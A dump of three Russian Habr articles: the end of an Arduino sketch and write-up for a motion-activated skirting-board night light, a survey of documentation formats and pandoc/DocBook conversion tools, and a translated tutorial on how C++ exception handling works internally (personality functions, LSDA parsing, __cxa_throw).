int timeOn = 8; //Время включения в секундах
int faderEnable = false; //Разрешает погаснуть
int lightEnable = false; //Разрешает подсветку
void setup()
{
pinMode(ledPin, OUTPUT);
Serial.begin(9600);
}
void loop()
{
analogWrite(ledPin, val);
light = analogRead(lightSensorPin);
motion = analogRead(motionSensorPin);
if (light < 50 && !lightEnable){
delay(1000);
if (light < 50) lightEnable = true;
}
if (light > 50 && val == 0) lightEnable = false;
if (motion > 150 && lightEnable){
timerEnable = true;
faderEnable = false;
}
if (timerEnable){
timerCounter ++;
val = val + 1;
if (val > 254) val = 254;
if (timerCounter > timeOn * 50){
if (motion < 150){
//val = 0;
timerCounter = 0;
timerEnable = false;
faderEnable = true;
}
else {
timerCounter = 0;
}
}
}
if (faderEnable){
val = val - 2;
if (val < 0){
faderEnable = false;
val = 0;
}
}
// Serial.println(light);
delay(20);
}
```
Все сенсорное хозяйство было смонтировано в плинтус, а для Ардуины с блоком питания был напечатан на 3D принтере корпус, все туда уложено, закрыто и спрятано.
После того, как работа была проделана, подумалось, что было бы классно сделать узкую плату-контроллер, которая помещалась бы в плинтус, и к ней необходимо было бы подвести только питание, а все коммутации делать внутри плинтуса. Но хотелось быстро и из того, что есть, поэтому из плинтуса идут 6 жил в достаточно громоздкий корпус. Пользуемся Smart плинтусом уже неделю, оценили все домашние. Плавное включение и тусклый, ровный свет — вот все, что нужно для ночных прогулок.
Так и подмывает, в соответствии с последними трендами, написать: «В будущем планирую прикрутить Wi-Fi и оснастить сенсорами, чтобы, когда проходишь мимо он замерял пульс и вычислял сожженные калории, а так же поражал злоумышленников разрядом при отсутствии отпечатка ноги в базе данных, вел статистику включений/выключений и подключался к облаку», а то как-то светит и больше ничего. | https://habr.com/ru/post/369123/ | null | ru | null |
# Документирование программ
На определенном этапе развития программной системы неизбежно возникает задача разработки пользовательской документации. И тут возникает технический вопрос выбора форматов и инструментов разработки документации.
### 1.1. Выходные форматы
С выбором конечного формата обычно проблем не возникает, так как целевая операционная система предъявляет свои требования. Так, например, для программ для Windows — это формат скомпилированной справки CHM, для Linux и BSD систем — это man. Общим для всех систем форматом для онлайн справки является html, а для печати — pdf.
Ситуация осложняется в случае, если необходимо иметь документацию в нескольких форматах — для распространения с программой (chm или man), для размещения на сайте (html) и для печати (pdf). При этом возможно, что содержание документации в различных форматах может несколько отличаться. Например, видеофрагменты имеет смысл включать в онлайн документацию, а в печатной версии их нужно заменять на статическое изображение, возможно дополненным qrcode ссылки на видеофрагмент. Кроме того, содержание документов может отличаться и для различных категорий пользователей, версий, комплектов поставки и других факторов.
### 1.2. Исходные форматы
Несмотря на кажущуюся очевидность необходимости использования специально созданных программ, здесь не все так однозначно.
В зависимости от целевой операционной системы подходы отличаются.
#### 1.2.1. Проприетарные исходные форматы
Так, для создания скомпилированной справки для Windows в формате chm Microsoft предлагает использовать специальный бесплатный компилятор [HTML Help Workshop](http://www.microsoft.com/en-us/download/details.aspx?id=21138). При этом исходные тексты должны быть подготовлены в формате html (редактор в поставку не входит), а файлы оглавления — в специфическом формате. Никаких средств формирования печатных руководств не предоставляется.
Разумеется, специализированные программы для создания справки ([Robohelp](http://www.adobe.com/ru/products/robohelp.html), [Help&Manual](http://www.helpandmanual.com/), [HelpScribble](http://www.helpscribble.com/) и им подобные) предоставляют высокий уровень сервиса, обладают возможностью формирования выходных документов в различных форматах и даже в некоторой степени профилировать содержимое.
Однако им присущи следующие недостатки:
1. Во-первых, все эти системы коммерческие и лицензируются по количеству используемых рабочих мест.
2. Во-вторых, используемый ими внутренний формат является проприетарным и не поддержимается никаким ПО, кроме продаваемого. Возможность импортировать файлы в проект вам, конечно, будет предоставлена, а вот экспортировать проект в какой либо открытый формат, пригодный для дальнейшей обработки, не удастся. Даже в случае использования в качестве внутреннего формата XML (как, например, Help&Manual) схема его остается закрытой и никак не задокументированной.
3. В-третьих, возможности по изменению внешнего вида выходного документа являются недостаточными для формирования, например, документации в соответствиями с требованиями ГОСТ.
4. В-четвертых, с этими программами организовать коллективную работу если и возможно, то крайне затруднительно
1.2.2. Простые форматы разметки
Рациональной альтернативой представляется применение простых и, как следствие, быстро осваиваемых форматов разметок.
На сегодняшний день таких форматов несколько:
* [ASCIIdoc](http://www.methods.co.nz/asciidoc/), используемый дефакто в Linux (BSD) системах;
* [Wiki](https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D0%BA%D0%B8-%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%82%D0%BA%D0%B0), применяемый в различного рода энциклопедиях и даже давший им общее название;
* [MarkDown](http://daringfireball.net/projects/markdown/) — так сказать, «многоцелевой» формат документирования.
Все эти разметки используют некоторый символьный нетеговый набор правил оформления заголовок, иллюстраций и ссылок, предполагающий редактирование в простых текстовых редакторах. Подготовка же пригодного к просмотру вида осуществляется программно как правило на стороне сервера.
Например, Википедия преобразует Wiki-формат в HTML «на лету». Веб-портал системы Git <http://github.org> также способен показывать документы в разметке Markdown в пригодном для чтения в браузере виде.
### 1.3. Редакторы
Несмотря на то, что для создания и редактирования исходных текстов достаточно возможностей блокнота, некоторые сервисные функции, такие как проверка правописания и подсветка разметки были бы писателю весьма кстати.
В статье <http://www.ixbt.com/soft/markdown-online-2.shtml> приведен обзор онлайн-редакторов поддержкой markdown-синтаксиса, а в <http://www.ixbt.com/soft/markdown-online-3.shtml> приведен обзор пяти настольных редакторов, поддерживающих формат markdown по умолчанию, так сказать «из коробки».
Одним из таких редакторов является [MarkdownPad](http://markdownpad.com/).
#### 1.3.1. MarkdownPad
*Рисунок 1. Редактор MarkdownPad 2*
Как видно из копии экрана, редактор MarkdownPad 2 поддерживает «живой» предварительный просмотр редактируемого файла с поддержкой синхронной прокрутки исходного текста и результата рендеринга.
При установке на Windows 8 может возникнуть ситуация, когда предварительный просмотр недоступен.
*Рисунок 2. Сообщение о крахе системы предварительного просмотра*
По заявлению разработчиков <http://markdownpad.com/faq.html#livepreview-directx> это связано с необходимостью установки специфического SDK веб-рендеринга [Awesomium 1.6.6 SDK](http://markdownpad.com/download/awesomium_v1.6.6_sdk_win.exe), который в свою очередь использует [DirectX](http://www.microsoft.com/en-us/download/details.aspx?id=8109).
Редактор поддерживает подсветку синтаксиса, проверку синтаксиса *одного* языка (в том числе русского), экспорт в форматы HTML, PDF (только в платной версии). Иными словами, MarkdownPad 2, как и другие специальный редакторы, является хорошим выбором для технического писателя. В тех же случаях, когда пользователю предстоит редактировать файлы различного формата, можно адаптировать свой редактор и для редактирования текстов с markdown-разметкой.
#### 1.3.2. Notepad++
Редактором, в достаточной мере отвечающим этим требованиям, можно считать [Notepad++](http://notepad-plus-plus.org/). Проверка правописания многих языков поддерживается с помощью специального плагина. Причем поддерживается проверка текста *на нескольких языках одновременно*.
*Рисунок 3. Редактор Notepad++*
Несмотря на простоту правил разметки, автору текстов было бы удобней работать с подсветкой синтаксических элементов. Применительно к Notepad++ в этом поможет проект [Markdown Syntax Highlighting for Notepad++](https://github.com/Edditoria/markdown_npp_zenburn), который, по сути, представляет собой конфигурационный файл пользовательского языка Markdown. После его установки текст в редакторе выглядит следующим образом.
*Рисунок 4. Редактор Notepad++ с подсветкой элементов разметки markdown*
### 1.4. Quota
Примечательно, что редакторы с поддержкой markdown существуют даже для мобильных платформ. На рисунке приведена копия экрана смартфона с запущенным редактором [Quoda Code Editor](https://play.google.com/store/apps/details?id=com.henrythompson.quoda).
*Рисунок 5. Quoda Code Editor — универсальный редактор для Андроид с поддержкой разметки markdown*
Следует сказать, что большая часть этой статьи набрана именно в этом редакторе, а уже потом выгружена на компьютер для доработки.
По результатам анализа возможностей языка разметки Markdown и специальных редакторов можно рекомендовать их применение для документирования систем средней сложности.
#### 1.4.1. Открытые теговые форматы
Вместе с тем, для разработки программной документации больших систем следует применять в качестве исходного формата открытый, хорошо документированный формат. В качестве средства формирования — инструмент с широкими возможностями по настройке внешнего вида, профилирования и способностью формировать документы в различных форматах.
Этим требованиям в полной мере отвечают такие системы как [DITA](http://dita.xml.org/) и [Docbook](http://www.docbook.org/).
Несмотря на некоторые различия, обе системы имеют много общего:
* используют в качестве исходного формата документированный (схематизированный) XML, что обеспечивает возможность использования для редактирования любого XML-редактора с функцией валидации;
* для конвертирования в один из результирующих форматов может быть использован практически любой xsl-преобразователь [xslproc](http://www.zlatkovic.com/libxml.en.html), [xalan](http://xml.apache.org/xalan-j/), [saxon](http://saxon.sourceforge.net/) и др.;
* для получения pdf-документа используется промежуточный формат xsl-fo, из которого средствами любого fo-процессора (например, [Apache FOP](http://xmlgraphics.apache.org/fop/) или [XEP](http://www.renderx.com/tools/xep)) уже формируется pdf;
* для настройки внешнего вида и профилирования используются многочисленные параметры преобразований, а в случае необходимости — добавлением пользовательских xsl-шаблонов.
Следует особо подчеркнуть, что данные системы используют семантическую разметку в исходных документах. Внешний вид же выходного документа определяется правилами и параметрами преобразований. Такой подход позволяет на этапе написания исходных текстов автору не задумываться над типографикой и дизайном, а сосредоточиться исключительно на смысловом содержании.
Вместе с тем практический опыт использования, в частности Docbook, подтвержденный и в [ряде публикаций](http://habrahabr.ru/post/212881/), показал, что и при использовании столь продуманной технологии возникают некоторые сложности:
* создание исходных текстов в формате XML определенной схемы требует от технического писателя навыков работы со специальными редакторами;
* хорошие [XML-редакторы с поддержкой Docbook](https://www.oasis-open.org/docbook/tools/) — продукты коммерческие и недешевые (например, [oXygen XML Editor](http://www.oxygenxml.com/), [Altova XMLSpy XML Editor](http://www.altova.com/download/xmlspy.html));
* богатые возможности XML-разметки влекут за собой усложнение формата. Например, для вставки в текст иллюстрации с подписью в разметке Docbook необходимо использовать четыре вложенных тега.
Естественно, что вышеперечисленные недостатки сдерживают широкое применение XML-ориентированных технологий единого источника.
В случае использования нетеговых форматов для подготовки офлайн или печатной документации необходимо использовать утилиты преобразования. Среди многих конвертеров особого внимания заслуживает программа pandoc.
### 1.5. Утилита преобразования pandoc
[Pandoc](https://github.com/jgm/pandoc) представляет собой кроссплатформенную программу с командным интерфейсом, способную преобразовывать тексты в самых разнообразных разметках в многочисленные выходные форматы.
Так, например с использованием pandoc можно конвертировать исходные документы в разметках ASCIIdoc, Wiki, Markdown в HTML. Если установить LaTex, то становится возможным получение и PDF.
Так, например, преобразование [исходного текста этой статьи](http://softarius.ru/doc/pandoc/pandoc.md) в [html формат](http://pandoc.html) можно выполнить следующей командой:
```
pandoc -f markdown pandoc.md -t html -o pandoc.html -H h.html
```
Результатом будет готовый html-файл:
*Рисунок 6. HTML-документ, сформированный из Markdown утилитой pandoc*
За свою универсальность программа образно названа автором «швейцарским армейским ножом».
Действительно, pandoc справляется с конвертированием без каких-либо потерь информации. При конвертировании из формата MarkDown поддерживается чтение трех параметров метаданных — заголовка, автора и даты документа. Поддерживается также передача параметров командной строки для установки некоторых специфических свойств, например языка документа. Есть возможность задать свой шаблон выходного документа, до некоторой степени видоизменяя его.
Так, например, в приведенном выше примере подразумевается, что в текущей папке есть файл h.html, который играет роль заголовка. Если в этом файле добавить ссылку на стилевой файл и, определив , получим следующий результат:
*Рисунок 7. HTML-документ, сформированный pandoc с использованием заголовочного файла со ссылками на стили*
Как видно из примера, заголовки приобрели свой стиль, а внешние ссылки стали открываться в новой вкладке браузера.
Вышеописанные возможности формата делают оправданным использования разметки Markdown для документирования относительно небольших программных систем, к оформлению которых не предъявляется требований ГОСТ, что и доказывается ее широким использованием в системе Git.
Что же касается больших систем с обширной и сложной документацией, то для ее создания видится применение системы единого источника Docbook. Могут иметь место и переходные случаи, когда масштаб проект проявляется не сразу.
### 1.6. Docbook
Сложность создания исходных XML-источников можно преодолеть путем использования исходных текстов в формате Markdown с последующим их конвертированием в Docbook. Такое преобразование поддерживается утилитой pandoc. Так, команда
```
pandoc -f markdown pandoc.md -t docbook -o pandoc4.xml -H h.xml
```
создаст [результирующий файл](http://softarius.ru/doc/pandoc/pandoc4.xml).
Использование заголовочного файла `h.xml` (можно просто пустого) необходимо для корректной обработки метатегов и формирования статьи.
*Рисунок 8. Сформированная статья в XML-редакторе*
Следует отметить несколько дополнительных требований к разметки markdown, которая будет использована для преобразования в docbook:
Во-первых, следует избегать использования в тексте символов угловых скобок (< и >), так как в XML они используются для выделения тегов, а конвертер оставляет их как есть. Если же угловые скобки нужны по смыслу, то следует использовать сущности `<` и `>`.
Во-вторых, при вставке рисунка *обязательно* вводить альтернативный текст, так как pandoc использует его для создания обязательного тега `title` у тега `figure`.
Однако выходной текст формируется в устаревшем формате Docbook 4 версии, в то время как современная 5 версия предоставляет существенно более богатые возможности по семантической разметке.
Для преобразования текста из 4 в 5 версию можно воспользоваться специальным преобразованием [db4-upgrade.xsl](http://www.docbook.org/xml/5.1CR3/tools/db4-upgrade.xsl), входящим в комплект поставки Docbook.
```
xsltproc -o pandoc5.xml db4-upgrade.xsl pandoc4.xml
```
Полученный таким образом [xml файл схемы docbook 5](http://softarius.ru/doc/pandoc/pandoc5.xml) можно использовать при формировании единого источника.
*Рисунок 9. Cтатья схемы в XML-редакторе в режиме автора*
Описанная цепочка преобразований может показаться на первый взгляд длинной и неоправданно сложной. Однако освоив один раз необходимые инструменты и разработав для часто выполняемых задач командные файлы (скрипты) можно сэкономить значительное количество времени в дальнейшем.
Следует особо подчеркнуть, что технология единого источника обладает ярко выраженным кумулятивным эффектом. Начальные временные затраты на разработку типовых неоднократно используемых фрагментов текста окупаются при их использовании в последующих проектах. Именно это качество делает особо привлекательным технологию единого источника при документировании серийных программных систем.
Набор преобразований Docbook поддерживает формирование документов в HTML со стилями, PDF для печати так сказать «из коробки».
```
xsltproc -o pandoc5.fo c:\<Путь к DocbookXSL>\fo\docbook.xsl pandoc5.xml
```
Внешний вид выходных документов может быть до определенной степени настроен с помощью параметров. Полученные файл формата FO-XSL [pandoc5.fo](http://softarius.ru/doc/pandoc/pandoc5.fo) является промежуточным и нужен для построения [конечного PDF](http://softarius.ru/doc/pandoc/pandoc5.pdf).
Немаловажна и возможность автоматического формирования оглавления, списка иллюстраций, листингов, таблиц, индексного указателя, глоссария терминов и списка литературы.
При большом количестве документов в составе пакета также возможно создание отдельного списка с возможностью автоматического формирования правильно оформленных ссылок на них. В случае же подготовки типографского макета руководства с учетом особых требований, например ГОСТ, необходимо разработать дополнительные xsl для форматов обычных страниц, титульной и финальной страницы.
Это может стать темой следующей статьи. | https://habr.com/ru/post/250155/ | null | ru | null |
# С++ exception handling под капотом. Часть 3
Продолжаем перевод серии статей об обработки исключений в C++
[1 часть](https://habrahabr.ru/post/279111/)
[2 часть](https://habrahabr.ru/post/279151/)
C++ exceptions под капотом: поиск верного landing pad
=====================================================
Это уже 15-я глава в нашей длинной истории. Мы уже изучили достаточно много о том, как работают исключения, и даже имеем написанную работающую собственную персональную функцию с небольшим количеством рефлексии, определяющей где находится catch-блок (landing pad в терминах исключений). В прошлой главе мы написали персональную функцию, которая может обрабатывать исключения, но она всегда подставляет только первый landing pad (т.е. первый же catch-блок). Давайте улучшим нашу персональную функцию, добавив возможность выбирать правильный landing pad в функции с несколькими catch-блоками.
Следуя моде TDD (test driven development), мы можем сначала построить тест нашего ABI. Улучшим нашу программу, throw.cpp, сделаем несколько try/catch блоков:
```
#include
#include "throw.h"
struct Fake\_Exception {};
void raise() {
throw Exception();
}
void try\_but\_dont\_catch() {
try {
printf("Running a try which will never throw.\n");
} catch(Fake\_Exception&) {
printf("Exception caught... with the wrong catch!\n");
}
try {
raise();
} catch(Fake\_Exception&) {
printf("Caught a Fake\_Exception!\n");
}
printf("try\_but\_dont\_catch handled the exception\n");
}
void catchit() {
try {
try\_but\_dont\_catch();
} catch(Fake\_Exception&) {
printf("Caught a Fake\_Exception!\n");
} catch(Exception&) {
printf("Caught an Exception!\n");
}
printf("catchit handled the exception\n");
}
extern "C" {
void seppuku() {
catchit();
}
}
```
Перед тестированием, попробуйте подумать что случится в процессе запуска этого теста? Сфокусируйтесь на функции try\_but\_dont\_catch: первый try/catch блок никогда не выбрасывает исключение, второй — пробрасывает, не отловив его. Покуда наш ABI немного туповат, первый catch-блок обработает исключение второго блока. Но что случится после того, как будет обработан первый catch? Выполнение продолжится с того места, где заканчивается первый catch/try, это опять прямо перед вторым try/catch блоком, который снова выбросит исключение, его снова обработает первый обработчик и так далее. Бесконечный цикл! Что ж, мы снова получили очень сложный while(true)!
Используем наши знания о полях начало/длина (start/length) в таблице LSDA для корректного выбора нашего landing pad. Для этого нам нужно знать, какой был IP, когда исключение было проброшено, и мы можем выяснить это с уже известными нам *Unwind* функцией: **\_Unwind\_GetIP**. Для того, чтобы понять, что \_Unwind\_GetIP возвращает, посмотрим пример:
```
void f1() {}
void f2() { throw 1; }
void f3() {}
void foo() {
L1:
try{ f1(); } catch(...) {}
L2:
try{ f2(); } catch(...) {}
L3:
try{ f3(); } catch(...) {}
}
```
В данном случае, наша персональная функция будет вызвана в catch-блоке для f2, а стэк будет выглядит примерно так:
```
+------------------------------+
| IP: f2 stack frame: f2 |
+------------------------------+
| IP: L3 stack frame: foo |
+------------------------------+
```
Обратите внимание, что IP будет установлен на L3, хотя исключение выброшено в L2. Это потому что IP указывает на следующую инструкцию, которая должна была быть выполнена. Это так же означает, что мы должны вычесть одну, если хотим получить IP где исключение было выброшено, иначе результат из \_Unwind\_GetIP может оказаться за пределами landing pad. Вернемся к нашей персональной функции:
```
_Unwind_Reason_Code __gxx_personality_v0 (
int version,
_Unwind_Action actions,
uint64_t exceptionClass,
_Unwind_Exception* unwind_exception,
_Unwind_Context* context)
{
if (actions & _UA_SEARCH_PHASE)
{
printf("Personality function, lookup phase\n");
return _URC_HANDLER_FOUND;
} else if (actions & _UA_CLEANUP_PHASE) {
printf("Personality function, cleanup\n");
// Вычисление -- куда именно указывал IP
// прямо перед тем, как было выброшено исключение
uintptr_t throw_ip = _Unwind_GetIP(context) - 1;
// Указатель на сырой LSDA
LSDA_ptr lsda = (uint8_t*)_Unwind_GetLanguageSpecificData(context);
// Чтрение заголовков LSDA
LSDA_Header header(&lsda);
// Чтение LSDA CS
LSDA_CS_Header cs_header(&lsda);
// Рассчет конца таблицы LSDA CS
const LSDA_ptr lsda_cs_table_end = lsda + cs_header.length;
// Цикл по всем записям таблицы CS
while (lsda < lsda_cs_table_end)
{
LSDA_CS cs(&lsda);
// Если тут нет LP, мы тут не можем обработать исключение, двигаемся дальше
if (not cs.lp) continue;
uintptr_t func_start = _Unwind_GetRegionStart(context);
// Расчет области валидного IP для этого lp
// Если LP может обрабатывать это исключение, тогда
// IP для этого фрейма должен быть в этой области
uintptr_t try_start = func_start + cs.start;
uintptr_t try_end = func_start + cs.start + cs.len;
// Проверка: корректный ли этот LP для текущего try блока
if (throw_ip < try_start) continue;
if (throw_ip > try_end) continue;
// Если мы нашли landing pad для этого исключения; продолжаем выполнение
int r0 = __builtin_eh_return_data_regno(0);
int r1 = __builtin_eh_return_data_regno(1);
_Unwind_SetGR(context, r0, (uintptr_t)(unwind_exception));
// Напомню, что в этом коде напрямую зашит тип исключения;
// Мы поправим это позже
_Unwind_SetGR(context, r1, (uintptr_t)(1));
_Unwind_SetIP(context, func_start + cs.lp);
break;
}
return _URC_INSTALL_CONTEXT;
} else {
printf("Personality function, error\n");
return _URC_FATAL_PHASE1_ERROR;
}
}
}
```
Как обычно: актуальный код примера [по ссылке](https://github.com/nicolasbrailo/cpp_exception_handling_abi/tree/master/abi_v07).
Запустим еще раз и вуаля! Никаких более бесконечных циклов! Простые изменения позволили нам выбирать правильный landing pad. Далее мы попробуем научить нашу персональную функцию выбирать корректный фрейм стэка вместа первого.
C++ exceptions под капотом: поиск правильного catch-блока в landing pad
=======================================================================
Мы уже написали персональную функцию, способную обрабатывать функции с более, чем одним landing pad. Теперь мы попытаемся распознать какой именно блок может обрабатывать определенные исключения, иными словами — какой catch-блок нам вызывать.
Конечно же, выяснить какой блок может обрабатывать исключение — задача не простая. Впрочем, вы действительно ждали чего-то другого? Основные проблемы прямо сейчас это:
* Первое и основное: где и как мы можем найти принимаемые типы исключений этим catch-блоком.
* Даже если мы сможем найти тип catch, как мы можем обработать catch (...)?
* Для landing pad с несколькими catch-блоками, как мы можем узнать все возможные catch типы?
* Взгляните на пример:
```
struct Base {};
struct Child : public Base {};
void foo() { throw Child; }
void bar()
{
try { foo(); }
catch(const Base&){ ... }
}
```
Мы должны проверять не только может ли текущий Landing Pad принимать текущее исключение, но и всех его родителей!
Сделаем нашу задачу чуть проще: будем работать с landing pads только с одним catch блоком, а так же скажем, что наследования у нас не существует. Тем не менее, как мы найдем принимаемые типы landing pad'а?
В общем то, это находится в части .gcc\_except\_table, который мы еще не анализировали: action table. Дизассемблируем на throw.cpp и посмотрим, что там, прямо после call site table, для нашей "try but dont catch" функии:
```
LLSDACSE1:
.byte 0x1
.byte 0
.align 4
.long _ZTI14Fake_Exception
.LLSDATT1:
```
Не похоже, что тут много информации, но тут есть многообещающий указатель на что-то, что имеет название нашего исключение. Посмотрим на определение \_ZTI14Fake\_Exception:
```
_ZTI14Fake_Exception:
.long _ZTVN10__cxxabiv117__class_type_infoE+8
.long _ZTS14Fake_Exception
.weak _ZTS9Exception
.section .rodata._ZTS9Exception,"aG",@progbits,_ZTS9Exception,comdat
.type _ZTS9Exception, @object
.size _ZTS9Exception, 11
```
Мы нашли что-то очень интересное! Можете распознать это? Это std::type\_info для структуры Fake\_Exception!
Теперь мы знаем, что есть способ получить указатель на своего рода рефлексию для нашего исключения. Можем ли мы программно найти это? Посмотрим далее.
C++ exceptions под капотом: рефлексия типа исключения и чтение .gcc\_except\_table
==================================================================================
Теперь мы знаем, где мы можем получить множество информации о исключении, читая локальное хранилище данных .gcc\_except\_table; что мы должны реализовать в персональной функции для определения правильного landing pad.
Мы оставили нашу реализацию ABI и погрузились в изучения ассеблера для .gcc\_except\_table, чтобы понять как мы можем найти типы исключений, которые мы можем обрабатывать. Мы обнаружили, что часть таблицы содержит список типов с необходимой нам информацией. Будем читать эту информацию в фазе очистки, но сперва давайте вспомним определение нашего LSDA заголовка:
```
struct LSDA_Header {
uint8_t start_encoding;
uint8_t type_encoding;
// Смещение от конца заголовков до таблицы типов
uint8_t type_table_offset;
};
```
Последнее поле для нас новое: оно указывает смещение для таблицы типов. Вспомним так же определение каждого из вызовов:
```
struct LSDA_CS {
// Смещение в функции откуда мы можем обрабатывать исключение
uint8_t start;
// Длина блока, который может обрабатыаться
uint8_t len;
// Landing pad
uint8_t lp;
// Смещение в action table + 1 (0 означает "нет действий")
uint8_t action;
};
```
Посмотрите на последнее поле, "action". Это — смещение в action table. Это означает, что мы можем найти действие для специфичного CS (call site). Трюк в том, что для landing pads, в котором catch-блоки есть, action содержит смещение на таблицу типов, теперь мы можем использовать смещение для получения таблицы типов, которое можем получить из заголовков! Хватит разглагольствовать, лучше посмотрим в код:
```
// Указатель на начало чистого LSDA
LSDA_ptr lsda = (uint8_t*)_Unwind_GetLanguageSpecificData(context);
// Чтение заголовка LSDA
LSDA_Header header(&lsda);
const LSDA_ptr types_table_start = lsda + header.type_table_offset;
// Чтение LSDA CS
LSDA_CS_Header cs_header(&lsda);
// Рассчет конца таблицы LSDA CS
const LSDA_ptr lsda_cs_table_end = lsda + cs_header.length;
// Получение начала action tables
const LSDA_ptr action_tbl_start = lsda_cs_table_end;
// Первый call site
LSDA_CS cs(&lsda);
// cs.action -- это offset + 1; таким образом cs.action == 0
// означает что тут нет подходящий точек входа
const size_t action_offset = cs.action - 1;
const LSDA_ptr action = action_tbl_start + action_offset;
// Для landing pad с блоком catch the action table
// будет содержать index списка типов
int type_index = action[0];
// types_table_start указывает на конец таблицы, так что
// нам нужно инвентировать type_index. Это позволит найти ptr на
// std::type_info, определенную в нашем catch-блоке
const void* catch_type_info = types_table_start[ -1 * type_index ];
const std::type_info *catch_ti = (const std::type_info *) catch_type_info;
// Если все пойдет правильно, должно вывестить что-то типа Fake_Exception
printf("%s\n", catch_ti->name());
```
Этот код выглядит сложным из-за нескольких последовательных косвенных адресаций перед получением структуры type\_info, но на практике он не делает ничего сложно, он лишь читает .gcc\_except\_table, который мы нашли при дизассемблировании.
Вывод типа исключения — большой шаг в правильном направлении. Так же наша персональная функция становится немного нагроможденной. Большинство сложностей чтения LSDA могут быть спрятаны под ковром, это не должно оказаться сильно накладным (имеется в виду — быть вынесеным в отдельную функцию).
Далее мы научимся сопоставлять тип обрабатываемого исключения с типом пробрасываемого.
C++ exceptions под капотом: получение правильного фрейма стэка
==============================================================
Наша последняя версия персональной функции знает, где хранится информация о том, может ли быть обработано это исключение или нет(правда, работает только для одного catch блока в одном try/catch блоке, ну и еще без наследования), но чтобы сделать это полезным — сперва научимся проверять, подходит ли исключение по типу к тому, которое мы можем обрабатывать.
Конечно же, сначала нам нужно узнать тип исключения. Для этого, нам нужно его записывать, когда вызывается **\_\_cxa\_throw**:
```
void __cxa_throw(void* thrown_exception,
std::type_info *tinfo,
void (*dest)(void*))
{
__cxa_exception *header = ((__cxa_exception *) thrown_exception - 1);
// Мы должны сохранять тип в заголовке исключения, который получит _Unwind_
// иначе мы не сможет получить его в процессе раскрутки
header->exceptionType = tinfo;
_Unwind_RaiseException(&header->unwindHeader);
}
```
И теперь мы можем прочитать тип исключения в нашей персональной функции и просто сравнить совпадение типов (имена исключений — C++ строки, так что простого "==" достаточно):
```
// Получение доступного для обработки типа исключения
const void* catch_type_info = lsda.types_table_start[ -1 * type_index ];
const std::type_info *catch_ti = (const std::type_info *) catch_type_info;
// Получение типа пробрасываемого исключения
__cxa_exception* exception_header = (__cxa_exception*)(unwind_exception+1) - 1;
std::type_info *org_ex_type = exception_header->exceptionType;
printf("%s thrown, catch handles %s\n",
org_ex_type->name(),
catch_ti->name());
// Проверяем: совпадает ли тип обрабатываемого исключения
// с пробрасываемым
if (org_ex_type->name() != catch_ti->name())
continue;
```
Посмотрите [на гите](https://github.com/nicolasbrailo/cpp_exception_handling_abi/tree/master/abi_v09) последние изменения.
Хм, разумеется у нас возникнет проблема, сможете найти её сами? Если исключение пробрасывается в двух фазах и в первой мы хотим его обработать, во второй раз мы не можем сказать, что не хотим обрабатывать снова. Я не знаю, \_Unwind обрабатывает этот кейс, об этом нет документации, скорее всего, возникнет неопределенное поведение, так что просто сказать, что мы обрабатываем все подряд — не достаточно.
Покуда мы научили персональную функцию узнавать, какой landing pad может обрабатывать исключение, мы врали *Unwind* о том, какое исключение может быть обработано, вместо этого мы говорим, что обрабатываем их все в нашей ABI 9. Правда в том, что мы не знаем — можем ли мы обработать его. Это просто исправить: мы можем сделать что-то типа того:
```
_Unwind_Reason_Code __gxx_personality_v0 (...)
{
printf("Personality function, searching for handler\n");
// ...
foreach (call site entry in lsda)
{
if (call site entry.not_good()) continue;
// Мы нашли landing pad для данного исключения; продолжаем выполнение
// Если мы в фазе поиска, говорим _Unwind_, что можем обработать
if (actions & _UA_SEARCH_PHASE) return _URC_HANDLER_FOUND;
// если мы не в фазе поиска, тогда в фазе _UA_CLEANUP_PHASE
/* установка всего необходимого */
return _URC_INSTALL_CONTEXT;
}
return _URC_CONTINUE_UNWIND;
}
```
Что мы получим, если запустим нашу персональную функцию? Падение! Кто бы сомневался. Помните нашу "падающую" функцию? Вот что должно отлавливать наше исключение:
```
void catchit() {
try {
try_but_dont_catch();
} catch(Fake_Exception&) {
printf("Caught a Fake_Exception!\n");
} catch(Exception&) {
printf("Caught an Exception!\n");
}
printf("catchit handled the exception\n");
}
```
К сожалению, наша персональная функция проверяет только первый тип ошибок, который landing pad может обрабатывать. Если мы удалим Fake\_Exception catch-блок и попробуем снова: все наконец сработает правильно! Наша персональная функция может выбирать правильный catch-блок в правильном фрейме, поставляемый try-catch блоком с единственным catch-блоком.
В следующей главе мы улучшим его еще раз!
C++ exceptions под капотом: выбираем правильный catch из landing pad
====================================================================
19-я глава об исключениях в C++: мы написали персональную функцию, которая может читать LSDA, выбирать правильный landing pad, правильный стэк фрейм для обработки исключения, но пока еще затрудняемся с поиском правильной ветви catch. Для окончательной версии работающей персональной функции мы должны проверять типы исключений во всей таблице действии **.gcc\_except\_table**.
Помните action table? Посмотрим на нее еще раз, но теперь с несколькими catch-блоками:
```
# Call site table
.LLSDACSB2:
# Call site 1
.uleb128 ip_range_start
.uleb128 ip_range_len
.uleb128 landing_pad_ip
.uleb128 (action_offset+1) => 0x3
# Rest of call site table
# Action table start
.LLSDACSE2:
# Action 1
.byte 0x2
.byte 0
# Action 2
.byte 0x1
.byte 0x7d
.align 4
.long _ZTI9Exception
.long _ZTI14Fake_Exception
.LLSDATT2:
# Types table start
```
Если мы собираемся считывать все поддерживаемые landing pad исключения в этом примере (этот LSDA для функции catchit, к слову), нам нужно сделать что-то вроде такого:
* Получить смещение экшена из таблицы вызовов (не забудте, мы считываем offset + 1, а 0 означает — нет действий)
* Перейти к action 2 по смещению, получить индекс типа 1. Таблица типов индексируется в обратном порядке (т.е. мы имеем указатель на её конец и должны получать доступ, используя -1 \* index)
* Перейти в types\_table[-1], чтобы получить type\_info для Fake\_Exception
* Fake\_Exception не то исключение, которое было выброшено, получаем смещение к следующему действию (action) (0x7d)
* Чтение 0x7d в uleb128 вернут -3, что с позиции, откуда мы читаем смещение, является тремя шагами назад
* Чтение типа с индексом 2
* Получение type\_info для исключения Exception, которое на этот раз совпадает с пробрасываемым, так что мы можем устанавливать landing pad!
Это выглядит сложным, покуда у нас сново много косвенной адресации, но вы можете посмотреть итоговый код [в репозитории](https://github.com/nicolasbrailo/cpp_exception_handling_abi/tree/master/abi_v11). По ссылке вы найдете бонус в виде персональной функции, умеющей читать таблицу типов, определять какой catch-блок нам нужен (если тип — null, блок может обрабатывать все исключения подряд). Тут есть забавный побочный эффект: мы можем обрабатывать ошибки только выброшенные из C++ программ.
